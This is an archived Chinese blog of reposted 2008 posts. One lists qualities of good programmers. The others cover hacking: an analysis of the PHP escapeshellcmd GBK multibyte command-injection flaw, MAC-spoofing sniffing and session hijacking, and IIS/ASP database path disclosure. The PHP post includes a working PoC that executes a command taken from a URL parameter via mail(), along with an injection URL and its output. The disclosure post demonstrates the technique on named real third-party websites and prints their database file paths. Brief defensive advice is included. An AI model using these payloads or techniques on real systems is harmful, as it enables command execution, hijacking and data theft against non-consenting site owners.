搬家之前

什么是程序员的优秀品质?

Posted in 搬家之前 on 10月 17th, 2008 by 飘(piao2010) – Be the first to comment

使用一种特殊的编程语言、编程很牛,单单靠这个并不能说一名程序员/开发者就是优秀程序员/开发者。   快速发展的开发环境使得这个行业比我今天看到的任何一个行业都要发展迅速,这既有积极的一面也有消极的一面:今天的程序员/开发者有很多编程语言、开发工具和开发平台可选,但是建立一个安全、可扩展的环境却变得难了很多;硬件和软件正日新月异地变得更加复杂,但现在学习新技术比过去要难太多了。

    以下是优秀程序员应当具备的品质:

语言和工具(Languages and Tools:)

    任何程序员/开发者需要具备的第一个技能就是,能够用编程语言工作并会使用与之相关的主要开发工具,包括:工具、IDEs, web 框架, messaging APIs。

程序设计方法(Programming Paradigm:)

举例来说,很好地理解面向对象,这对使用强制式语言(Imperative Language也称过程式语言)写出可维护的代码至关重要。在企业开发中你会遇到各种不同的问题,理解多种程序设计方法并知道何时使用,将使这些问题迎刃而解。

领域专长的知识(Domain Specific Knowledge:)

如果想编写系统来解决特定领域内的问题,那么拥有该领域的专长知识将非常重要。

尽管许多这样的知识是由项目的商业分析员(Business Analyst)来获悉,但如果开发者也能获取,那么跟用户的交流将会更加容易,而且更能够理解他们的专业词汇。

人际关系(People Skills:)

    软件开发中最重要的技能之一就是能够与其他开发者一起高效工作——同事、质量/商业分析员(Quality/Business Analysts),客户,用户,很多很多……如果你能够很好地处理这些关系,那么成功的大路也离你不远矣。

解决问题(Problem Solving:)

    有能力解决那些没有明显解决方法的问题,这一点在软件开发中很重要。当把你的应用配置到JBoss或者通过一个测试找到一个棘手bug的时候,理智地编程将成为调试一个类路径(class path)问题。

沟通能力(Good Communication skills:)

    在软件世界中,人们通常认为好的沟通能力就是流利地说话,事实上这远不是。这指的是:你能够多么有效地与其他人交流。作为一名优秀的开发者,你应当能够很好地表达你的想法,很好地听,以及很好地掌控你与他人沟通的过程。

读书(Read Books:)

    读大量书将了解很多不同的技术,读书使你对一种技术有了快速、直接的视角。通常你应当选择知名学者的书,他们推崇实践和用技术解决问题的多种方法。在这个过程中,你将学到很多并逐渐形成自己的方法。没准哪天你也就能出书了呢。

实践、实践再实践(Practice, Practice and Practice)

    许多开发者拥有大量理论知识,他们饱览书籍和技术资料。然而,怎样运用这些知识却让他们望而却步。这是因为他们缺乏实践。你工作的效率和效力只能通过你实践中编写代码来获得。唯一能使你成为优秀开发者的方法就是实践、实践再实践。

遵循范例和最好的实践(Follow Patterns and Best Practices :)

    范例和实践反映了技术指导、常见技术问题和基于真实事件的实践。学习的过程是循序渐进的,但是一劳永逸。这会节省你非常多的时间和精力,让你的工作更加有效。遵循一本“代码编程指南”(Code Design Guideline),经常使用代码分析工具将检测和分析你的代码。

讨论/小组沟通(Discussion/Newsgroup:)

    参加开发社区会提高你的领导能力以及贡献感,二者都是成功的必需品。在社区内参加一场含量较高的技术讨论将使你充满成就感,而且会增长你的知识,因为其中的智者会查看和评点你的解决方法,你也会查看和评点他们的。而且这个过程教会你接纳并感激别人的建议。如果她/他做出了积极的贡献,不要忘了赞扬和鼓励(’pat someone on the back’)。

网络和数据库知识(Knowledge of Networking and Databases:)

有人也许不赞成这点,但是一个优秀的开发者应当知道网络和数据库的基本东西。而且在思考解决方法的时候,不要忘记将二者考虑在内。拥有二者的知识,能够帮你写出更好的代码并节省你很多时间。

博客、写文章(Blog/ Write Articles:)

    我们中有谁能够记住每件事?我不能,所以我把他们记下来。当我需要的时候,可以回头翻阅参考。除此之外,我可以借此从读者那里获得反馈,让我对同样的问题收获更多的方法。我已经获悉了许多与我工作有关的反馈,虽然有好有坏,但我会一一验证,这个过程也让我受益匪浅。

KISS

    不要想歪了,这里的KISS不是你想的那样,是指让应用/方法直短、简单(Keep Implementations/Approaches Short and Simple的简写)。不要使用行话来让事情更加复杂,因为人们很难理解它们。最好的方法是简化你的设计并避免过度设计(over-engineering)的东西。

像测试者一样思考(Think as a Tester:)

开发者和测试者,来自两个不同阵营的两类人群,随时准备同彼此较量。我发现二者的合作将产生非常好的结果。既不会损害开发者的利益也不会损害测试者的利益。实际上,长期来看,像测试者一样思考有利于减少你代码的bug,而且会形成很好的编程习惯和思维。

坚持一致是游戏规则(Consistency is the name of the game:)

    你是否经常跳槽或者被你的薪水所打击?如果是,那么静坐下来放松下并重新规划。好好想想不要让你的决定天马行空,为了不断向前,你需要一个坚实的决定并坚持不懈。

参加技术研讨会/大事件(Attend technology seminars and events:)

    如果你所在的城市有技术研讨会,一定要抽出时间参加。大部分的研讨会是免费的,而且会提供新技术的重要信息。

万家通吃还是一门独大?(Jack of all or Master of One?:)

    嗯……这个问题不好回答。在现在的环境下,你必须掌握一种以上的技术。尽管这不容易,但是好的开发者还是能够做到。其中的关键就在于适应性:如果你精于某种技术,那么给以机会你将较容易地在短期内掌握一种新技术。你不妨试试,多掌握一种技术可以让你在使用中对比、选择。

停止抱怨(Stop complaining:)

    是否软件没有做成,是否测试人员给你检查出一堆bug?许多开发者的本能反应是抵制情绪进而非常抵制这种情况。由于这种情绪是自然反应未经控制,所以它不可取。静心分析为什么软件失败、为什么有如此多bug,这是一个学习的经历将使你未来的工作受益良多。

    最后,请记住你不是要永远做个程序员。所以一旦你自我满足并觉得自己是个优秀的程序员,你就得重新规划你自己(re-program yourself)。扩展你的兴趣。开发只是这个过程的一部分,了解用户和商业实际上是一种艺术,每个人应当以此为目标并努力掌握它。

php escapeshellcmd多字节编码漏洞解析及延伸

Posted in 搬家之前 on 9月 13th, 2008 by 飘(piao2010) – Be the first to comment

文章提交:T_Torchidy (jnchaha_at_163.com)

漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt

    PHP 5 <= 5.2.5

    PHP 4 <= 4.4.8

    一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。

    这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:

/* {{{ php_escape_shell_cmd

   Escape all chars that could possibly be used to

   break out of a shell command

   This function emalloc’s a string and returns the pointer.

   Remember to efree it when done with it.

    

   *NOT* safe for binary strings

*/  

char *php_escape_shell_cmd(char *str) {

    register int x, y, l;

    char *cmd;

    char *p = NULL;

    l = strlen(str);

    cmd = safe_emalloc(2, l, 1);

    

    for (x = 0, y = 0; x < l; x++) {

        switch (str[x]) {

            case ‘”‘:

            case ‘\\”:

#ifndef PHP_WIN32

                if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {

                    /* noop */

                } else if (p && *p == str[x]) {

                    p = NULL;

                } else {

                    cmd[y++] = ‘\\\\’;

                }

                cmd[y++] = str[x];

                break;

#endif

            case ‘#’: /* This is character-set independent */

            case ‘&’:

            case ‘;’:

            case ‘`’:

            case ‘|’:

            case ‘*’:

            case ‘?’:

            case ‘~’:

            case ‘<’:

            case ‘>’:

            case ‘^’:

            case ‘(’:

            case ‘)’:

            case ‘[':

            case ']‘:

            case ‘{’:

            case ‘}’:

            case ‘$’:

            case ‘\\\\’:

            case ‘\\x0A’: /* excluding these two */

            case ‘\\xFF’:

#ifdef PHP_WIN32

            /* since Windows does not allow us to escape these chars, just remove them */

            case ‘%’:

                cmd[y++] = ‘ ‘;

                break;

#endif

                cmd[y++] = ‘\\\\’;

                /* fall-through */

            default:

                cmd[y++] = str[x];

        }

    }

    cmd[y] = ‘\\0′;

    return cmd;

}

/* }}} */

    可以看到,php通过将”,’,#,&,;…..等等在shell命令行里有特殊意义的字符都通过在前面加上\\变成\\”.\\’,\\#,\\&,\\;……来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:

<?php

$e = escapeshellcmd($userinput);

// here we don’t care if $e has spaces

system(”echo $e”);

$f = escapeshellcmd($filename);

// and here we do, so we use quotes

system(”touch \\”/tmp/$f\\”; ls -l \\”/tmp/$f”");

?>

    很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:

echo hello;id

;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:

echo hello\\;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

    事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等……而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。

    大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\\的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:

    0xbf;id

或    0xbf’id

    

经过php的escapeshellcmd单字节转码之后将会是

    0xbf5c;id

    0xbf5c’id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

    [0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo 縗

>

?

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GB2312

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK

[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GBK

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0×5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。

那我们如何来证明php的漏洞呢,拿

<?php

$e = escapeshellcmd($_GET[c]);

// here we don’t care if $e has spaces

system(”echo $e”);

?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

<?php

putenv(”LANG=zh_CN.GBK”);

$e = escapeshellcmd($_GET[c]);

// here we don’t care if $e has spaces

system(”echo $e”);

?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。

    mail函数一些代码片段如下:

……

    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {

        php_error_docref(NULL TSRMLS_CC, E_WARNING, “SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.”);

        RETURN_FALSE;

    }

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sss|ss”,

                              &to, &to_len,

                              &subject, &subject_len,

                              &message, &message_len,

                              &headers, &headers_len,

                              &extra_cmd, &extra_cmd_len

                              ) == FAILURE) {

        return;

    }

……

    if (force_extra_parameters) {

        extra_cmd = estrdup(force_extra_parameters);

    } else if (extra_cmd) {

        extra_cmd = php_escape_shell_cmd(extra_cmd);

    }

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {

        RETVAL_TRUE;

    } else {

        RETVAL_FALSE;

    }

…..

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:

……

    if (extra_cmd != NULL) {

        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);

        strcpy (sendmail_cmd, sendmail_path);

        strcat (sendmail_cmd, ” “);

        strcat (sendmail_cmd, extra_cmd);

    } else {

        sendmail_cmd = sendmail_path;

    }

#ifdef PHP_WIN32

    sendmail = popen(sendmail_cmd, “wb”);

#else

    /* Since popen() doesn’t indicate if the internal fork() doesn’t work

     * (e.g. the shell can’t be executed) we explicitely set it to 0 to be

     * sure we don’t catch any older errno value. */

    errno = 0;

    sendmail = popen(sendmail_cmd, “w”);

……

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:

<?php

//php disable function bypass vul

//by Stefan Esser

//poc by Loveshell

putenv(”LANG=zh_CN.GBK”);

mail(”loveshell@loveshell.net”,”",”",”",”xxxx”.chr(0xbf).”;”.$_GET[c]);

?>

可以在支持GBK的机器上运行,其他字符集 …

无ARP欺骗的嗅探技术

Posted in 搬家之前 on 8月 1st, 2008 by 飘(piao2010) – Be the first to comment

作者:cnqing

//本文以发表于20083期黑客防线 版权归《黑客防线》杂志社所有
//转载请表明版权

ARP欺骗的攻击和防御技术都比较成熟了,这里也不再阐述。此次重点讲解如何不用ARP欺骗进行嗅探以及会话劫持的技术原理,实际的攻击方法是进行MAC欺骗。

一、原理:

在开始之前我们先简单了解一下交换机转发过程:交换机的一个端口收到一个数据帧时,首先检查改数据帧的目的MAC地址在MAC地址表(CAM)对应的端口,如果目的端口与源端口不为同一个端口,则把帧从目的端口转发出去,同时更新MAC地址表中源端口与源MAC的对应关系;如果目的端口与源端口相同,则丢弃该帧。

有如下的工作场景:

一个4口的switch,端口分别为Port.A、Port.B、Port.C、Port.D对应主机 A,B,C,D,其中D为网关。

当主机A向B发送数据时,A主机按照OSI往下封装数据帧,过程中,会根据IP地址查找到B主机的MAC地址,填充到数据帧中的目的MAC地址。发送之前网卡的MAC层协议控制电路也会先做个判断,如果目的MAC相同于本网卡的MAC,则不会发送,反之网卡将这份数据发送出去。Port.A接收到数据帧,交换机按照上述的检查过程,在MAC地址表发现B的MAC地址(数据帧目的MAC)所在端口号为Port.B,而数据来源的端口号为Port.A,则交换机将数据帧从端口Port.B转发出去。B主机就收到这个数据帧了。

图1

这个寻址过程也可以概括为IP->MAC->PORT,ARP欺骗是欺骗了IP/MAC的应关系,而MAC欺骗则是欺骗了MAC/PORT的对应关系。比较早的攻击方法是泛洪交换机的MAC地址,这样确实会使交换机以广播模式工作从而达到嗅探的目的,但是会造成交换机负载过大,网络缓慢和丢包甚至瘫痪,我们不采用这种方法。

二、实战

工作环境为上述的4口swith,软件以cncert的httphijack 为例,应用为A主机劫持C主机的数据。

以下是劫持过程(da为目的MAC,sa为源MAC)

1.A发送任意da=网关.mac、sa=B.mac的数据包到网关。

这样就表明b.mac 对应的是port.a,在一段时间内,交换机会把发往b.mac 的数据帧全部发到a主机。这个时间一直持续到b主机发送一个数据包,或者另外一个da=网关.mac、sa=b.mac的数据包产生前。

图2

2.A 主机收到网关发给B的数据,记录或修改之后要转发给B,在转发前要

发送一个请求B.MAC的广播,这个包是正常的

MAC信息为:da=FFFFFFFFFF、sa=a.mac。

这个数据帧表明了a.mac对应port.a,同时会激发b主机响应一个应答包

MAC信息为:da=a.mac、sa=b.mac

这个数据帧表明了 b.mac对应port.b

至此,对应关系已经恢复,A主机将劫持到的数据可顺利转发至B

图3

3. 转发劫持到的数据到B,完成一次劫持

三、攻击特点

1.由于这种攻击方法具有时间分段特性,所以对方的流量越大,劫持频率也越低,网络越稳定。

2.隐蔽性强,基于1的特殊性和工作本质,可以在ARP防火墙和双向绑定的环境中工作。

四、如何防护

高级的交换机可以采用ip+mac+port 绑定,控制CAM表的自动学习。目前尚无软件可以防护此类攻击

五、利用工具

1.httphijack beta 2 说明:http会话劫持

2.ssclone 说明:交换环境下的会话复制软件(gmail,qqmail,sohumail…..)

3.skiller 说明:流量控制

暴库漏洞原理及规律

Posted in 搬家之前 on 6月 13th, 2008 by 飘(piao2010) – Be the first to comment

SQL注入流行很久了,我们找漏洞注入目的无非是想得到数据库内的东西,比如用户名密码等,更进一步的MSSQL数据库还可以借此获得权限。基于Access的基础来说,如果我们不用注入就可以得到整个数据库,不是更好吗?于是暴库成了一个比注入更简单的入侵手段。

有关暴库的方法,高手们常在入侵文章中提到,但多是一笔带过,有些就某一个方法谈的,也多是就方法进行探讨。最近有一篇《再谈%5c暴库的利用》的文章,算是对暴库进行了一些总结,因而在网是流传很广。但仍没有谈及原理,而且结论也只是就于经验,似是而非,于是决定来谈谈暴库的原理与规律。不到之处,大家多指教。

“%5c”暴库大法

这种方法被认为是暴库绝招,很是流行了一阵,但是和其它漏洞一样,随着知道的人多了,防备也加强了,没以前那么有效。这种方法简单点说就是在打开网页时,把网址址中的“/”换成“%5c”,然后提交,就可以暴出数据库的路径。

  实际上,并不是所有网址都有效,需要“asp?id=”这样的网页地址,或者说表示有调用数据库的行为的地址。如果你确认这个网页有调用数据库的,后面不是这样的也可以,比如Chklogin.asp等也可以(还有其它条件,后面再谈)。先举个黑防第四轮实验室中的例子:

http://219.237.81.46/yddown%5cview.asp?id=3

把第二个“/”换成“%5c”:

http://219.237.81.46/yddown%5cview.asp?id=3

提交后会得到如下返回结果:

Microsoft JET Database Engine 错误 ‘80004005′

‘D:\\111\\admin\\rds_dbd32rfd213fg.mdb’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/yddown/conn.asp,行12

这是黑防实验室的一个系统,暴库是小编们故意开放的,因为它的关口不是注入,而是进入后台后如何获得WebShell。可以看到我们直接获取了数据库地址,可以下载了。

现在很多人都知道这个方法了,我就不多举例了。但清楚暴库原理的人估计是不多的,有人成功,有人不成功,《再谈%5c暴库的利用》一文总结说,须变换第二个“/”为“%5c”才行。很有实用性,但这个结论只是一种经验,其实并不正确,让我们先看看它的原理。

“%5c”暴库法,它不是网页本身的漏洞,而是利用了IIS解码方式中的一个特性,如果IIS安全设置不周全,而网页设计者未考虑IIS错误,就会被人利用。为何要用“%5c”?它实际上是“\\”的十六进制代码,也就是“\\”的另一种表示法。在电脑中,它们是同一个东东,但提交“\\”和“%5c”却会产生不同的结果。在IE中,我们把下面第一个地址中的“/”换成“\\”提交:

http://219.237.81.46/yddown/view.asp?id=3

http://219.237.81.46/yddown\\view.asp?id=3

二者的访问结果是一样的。IE会自动把“\\”转变成“/”,从而访问到同一地址。但是,当我们把“/”换成十六进制写法“%5c”时,IE不会对此进行转换。地址中的“%5c”被原样提交了,抓包结果如下:

GET /yddown%5cview.asp?id=3 HTTP/1.1

当IIS收到并做出解析时,又会将%5c还原成“\\”。这样,IIS中网址的相对路径就变成/yddown\\view.asp,这一点很重要,问题正是从这里开始的。

在ASP网页中,凡调用数据库时,都会用到一个连接数据库的网页Conn.asp,它会创建一个数据库连接对象,定义要调用的数据库路径,一个典型的Conn.asp如下:

<%

dim conn

dim dbpath

set conn=server.createobject(”adodb.connection”)

DBPath = Server.MapPath(”admin/rds_dbd32rfd213fg.mdb”)

conn.Open “driver={Microsoft Access Driver (*.mdb)};dbq=” & DBPath

%>

大家注意第4句:“DBPath = Server.MapPath(”admin/rds_dbd32rfd213fg.mdb”)”,Server.MapPath方法的作用是将网站中的相对路径转变成物理上的绝对路径,为何要这样?因为连接数据库时,须指明它的绝对路径才能读取和写入。那什么是相对路径、绝对路径?IIS为了不让访问者知道真实的实际路径,并且确保网站不因变换地址而影响使用,它采用了一种相对路径来表示目录与文件之间的关系。也就是网址目录只表示从根目录起的相对位置。比如网站:http://219.237.81.46的根目录为:“D:\\111\\”,雨点下载目录则在根目录(D:\\111)内的“yddown”下,我们网站访问该站时,就是在访问D:\\111\\yddown\\目录,而http://219.237.81.46/yddown/admin/只表明了Admin与Yddown这个目录的相对关系,把这个网站放在E盘,也一样不改变Admin位于Yddown目录下的关系。

当Server.MapPath方法将相对路径转为真实路径时,它实际是三部分路径加在一起得到真实路径的:网页目前执行时所在的相对路径,也就是从网站物理根目录起的相对路径,比如上面例子中Conn.asp处在从根目录起的“/yddown/”下;然后调用的数据库的相对路径是admin/rds_dbd32rfd213fg.mdb,这样就得到从根目录起的完整相对路径:“/yddown/admin/rds_dbd32rfd213fg.mdb”。这些都只是相对的路径,如何变为真实路径呢?

  设置过IIS的人都会知道,每一个网站,都必须指定它在硬盘上的物理目录,比如上例中,网站根目录所在的物理目录为:“D:\\111”,Server.MapPath方法正是通过把“网站根目录的物理地址+完整的相对路径”,从而得到真实的物理路径,数据库在硬盘上的物理路径是:D:\\111\\yddown\\admin\\rds_dbd32rfd213fg.mdb。IIS以“\\”表示真实路径的目录关系,而以“/”表示虚拟路径,这可能就是IE会自动把我们地址中的“\\”转为“/”的原因。

  明白这些,我们再来理解暴库就不难了,当我们提交:http://219.237.81.46/yddown%5cview.asp?id=3时,View.asp调用Conn.asp后,得到的网页相对路径是这样的:“/yddown\\”,再加上“admin/rds_dbd32rfd213fg.mdb”,就得到“/yddown\\+admin/rds_dbd32rfd213fg.mdb”。在IIS中,“/”和“\\”代表着不同的意义,遇到了“\\”时,认为它已到了根目录所在的物理路径,不再往上解析(为何不再往上解析?后面还会分析),于是网站的完整相对路径变成了:“admin/rds_dbd32rfd213fg.mdb”,再加上根目录的物理路径,得到的真实路径变成:“D:\\111\\admin\\rds_dbd32rfd213fg.mdb”,而这个路径是不存在的,数据库连接当然会失败,于是IIS会报错,并给出错误原因:

Microsoft JET Database Engine 错误 ‘80004005′

‘D:\\111\\admin\\rds_dbd32rfd213fg.mdb’不是一个有效的路径。 确定路径名称拼写是

否正确,以及是否连接到文件存放的服务器。

/yddown/conn.asp,行12

这就是暴库方法的来历。

  《再谈%5c暴库的利用》一文中说,必须是网址中的第二级目录才可以成功,第一个不行。我们从理论上来分析一下,看到底有无规律。还以上面网址为例,如果将第一个“/”换成“%5c”,得到的网站相对路径变成“\\yddows/admin/rds_dbd32rfd213fg.mdb”,解析到“\\”时,认为已到物理目录,不再往前解析。而事实上,它确实也是根目录,所以得到的物理路径为:“D:\\111\\dydow\\admin\\rds_dbd32rfd213fg.mdb”,这个路径是正确的,所以不会出错,当然不会暴出数据库路径。

第二个“/”换成“%5c”的情况,我们上面已作分析,那是不是真的就是二级页面才可以暴出呢?事实上,只是因为二级页面较为常见,并不是真理。如果这个下载系统是某一个网站中的三级目录,那第三个“/”成功的可能性更大。也就是说,最右边第一个成功可能性大!

我先举个例子,再说原因:

http://nice.xmu.edu.cn/channely/blog/showlog.asp?cat_id=31&log_id=246

这个网址变第二个“/”为“%5c”时,网站打开很慢,但没有出错。当我们把第三个“/”变成“%5c”后,提交:

http://nice.xmu.edu.cn/channely/blog%5cshowlog.asp?cat_id=31&log_id=246

数据库暴出来了:

Microsoft JET Database Engine 错误 ‘80004005′

‘H:\\channely\\log_mdb\\%29dlog_mdb%29.asp’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/channely/blog/conn.asp,行18

为何这样?这是因为网站用了虚拟目录,也就是说这个网站的子目录Channely并不在网站根目录内。设置过IIS的人会知道,可以将网站目录外的一个真实物理目录设置为网站的虚拟目录。也就是说,网站的相对对径并不总是从根目录算起,很可能在某个子目录就指向了物理目录。

上面的结果很显然,Channely已位于H:盘的根目录上,上面再没有目录。事实上,很可能网站在D:盘或E:盘,而通过IIS中设置Channely虚拟子目录指向网站根目录以外的“H:\\channely\\”。

这里,我们可以更清楚的看到,微软IIS为何没有到根目录,只要遇上“\\”就认为已到物理绝对路径,不再往上解析的原因,就是为了处理这种网站虚拟目录与根目录不在一起的情况。它优先查询每个目录是否指向了物理路径,如果指向了,则把它换成绝对路径,而它上面的相对地址不再解析转换。

从以上分析可知,我们只有在数据库相对地址和它的目录绝对地址之间使用“\\”(“%5c”)才能达到目的。上例中,如果在第二处使用,它只会影响到IIS寻找虚拟的Channely目录地址,而Conn.asp中解析出的数据库地“H:\\channely\\blog\\log_mdb\\%29dlog_mdb%29.asp”仍是对的。

《再谈%5c暴库的利用》中还说了一种针对只有一级目录的解决方法:“其实一级目录我们也同样可以成功的,我们可以通过构造一个多级目录来达到暴库的目的。如:

http://www.target.com/noexists/..%5clist.asp?id=1

这样大家就会有新的惊喜了,呵呵。”真的吗?从理论上分析,这种方法是不会成功的。因为遇到“%5c”时,页面不再解析,所以中间构造的目录不论是真是假,都是不起作用而被舍弃了,相对路径还是到了根目录,路径不会出错。为了证明,我特意找了一个例子:

http://www.om88.com/Article_Show.asp?ArticleID=481

这个网站我们先用Conn.asp方法暴出数据库(后面将讲解这个方法),说明服务器和网站设置是可以暴库的。提交:

http://www.om88.com/inc/conn.asp

可以看到是可以暴库的,我们再提交:

http://www.om88.com/abc/..%5cArticle_Show.asp?ArticleID=481

却暴不出库,仍得到正常页面(换成存在的路径结果也一样),但图片无法显示。这是因为相对路径变了,所以无法正确找到图片路径,但绝对路径解析时被“%5c”舍弃了,没有出错,当然暴不出库了。

Conn.asp暴库大法

这里的Conn.asp只是表示数据库调用文件,因为多数都是这个名字(有些网站改名,我们也视同Conn.asp)。其实,这种暴库法是最先出现的,以前很多牛人都对此进行过探讨,我记得黑防也在特别早的时候专门讨论了这个方法。只是在“%5c”暴库大法出现后,倒较少有人提及。其实个人认为,“%5c”暴大法随着服务器设置安全性的加强,用武之地会越来越少。而Conn.asp暴库大法发挥的余地更大,可以人为构造,臭要饭的当年著名的动网大挪移实现暴库,其实也属于此类。

在上面http://www.om88.com/的一例中,用“%5c”暴不出数据库路径,因为没有二级目录,但用第二种却可以暴出,它是动力系统的。我们再来看另外一个盗帅的例子:http://www.51see.org/

提交:

http://www.51see.org/db/user.asp

得到如下结果:。

“Microsoft JET Database Engine 错误 ‘80004005′

‘d:\\Hosting\\wwwroot\y_com\\htdocs\\db\\db\\downloadwoaini12345.asp’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/db/user.asp,行6 ”

有人可能会说,这么简单就暴库,好爽!是不是所有网站都可以这样啊?当然不是,已作了防护的站点肯定不行,没作防护的,要暴库也是有条件的。如果说第一种暴库法是利用了绝对路径出错,那么,这种暴库法就是利用了相对路径出错。

一般来说,只要Conn.asp不在根目录的系统,而调用文件在根目录,就会出现这种问题。当然这种说法也是经验性的,准确的说就是,Conn.asp与调用它的文件如果相对位置改变了,就会报错,暴出数据库路径。这样说可能有人不明白,不要紧,接着看你就会明白的。

我们从动力文章系统说起。

动力文章系统的Conn.asp位于系统下的INC目录下,而很多调用它的文件在系统根目录下,比如User_ChkLogin.asp等,这样当Conn.asp执行时,它是在系统根目录“D:\\wwwroot\\zyx688\\wwwroot\\”下执行的。因此,Conn.asp文件中,调用数据库时它考虑到执行时的目录路径,因而数据库的相对地址写成如下:

db=”database/fp360609.asp”

这样,当它在系统根目录下执行时,数据库的相对路径为根目录下的“database”目录,但当我们直接请求它时,它工作的当前目录是在根目录下的INC目录内,这时数据库的相对路径就变成了“inc/database/fp360609.asp”,这样它当然出错,得到的绝对路径中也多出了“inc”。为了让大家看得更清楚,我们举一个可以用两种方法暴库的网站,比较一下看有何不同。提交:

http://www.pofen.com/sc/down%5cshow.asp?id=437

得到:

“Microsoft JET Database Engine 错误 ‘80004005′

‘D:\\Webdata\\pofen.com\\sc\\db\\download.mdb’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/sc/down/db/user.asp,行6 ”

再提交:

http://www.pofen.com/sc/down/db/user.asp

得到:

Microsoft JET Database Engine 错误 ‘80004005′

‘D:\\Webdata\\pofen.com\\sc\\down\\db\\db\\download.mdb’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/sc/down/db/user.asp,行6

两种方法得到的绝对路径,一个比实际路径少了,一个则多了,这两个系统都是因为Conn.asp不在系统根目录下而引起的。那是不是Conn.asp放在根目录,与调用的文件在一个目录下就无事呢?如果在一起,当然没事,但牛人自有牛法子,可以通过构造方法来造成相对路径变化,一样能达到暴库的目的。比如,动网的大挪移手法,将Conn.asp移位,从而暴库。

当然,实际操作中,因为Conn.asp移走后,网站无法工作,所以没有成功,但这种思路还是给很多人启发。如果有一种方法可以复制而不是移动,或者说,移动的不是Conn.asp,而是调用Conn.asp的其它文件,比如Chklogin之类,理论上就可以成功。今天刚看到一个暴动易系统路径的最新方法,其原理就是构造错误而达到获得真实路径的目的。

防范暴库

说白了,暴库是因为IIS服务器会对每个执行错误给出详细说明,并停止执行,IIS的默认设置又是将错误信息返回给用户。因此,要避免暴库,就应改变IIS的默认设置,选取错误时只给一个出错的通知,不给详细信息。

其实,有些虚拟主机为了便于站长调试,一般不关掉信息返回,作为网站管理者,又无法对虚拟主机设置时,只能在网页中加强防范。就是在可能出错的页面加上这一句:“On Error Resume Next”。它的意思是出错后,恢复执行下面的语句,也就是不理会出错,当然就不会给出错误信息了。动易系统3.62版加上这句话后,现在就暴不出路径了,而天意商务网的Conn.asp也不在根目录,但因为加了这句,也暴不出数据库了。

怪招:Union注入偏移量

Posted in 搬家之前 on 6月 13th, 2008 by 飘(piao2010) – Be the first to comment

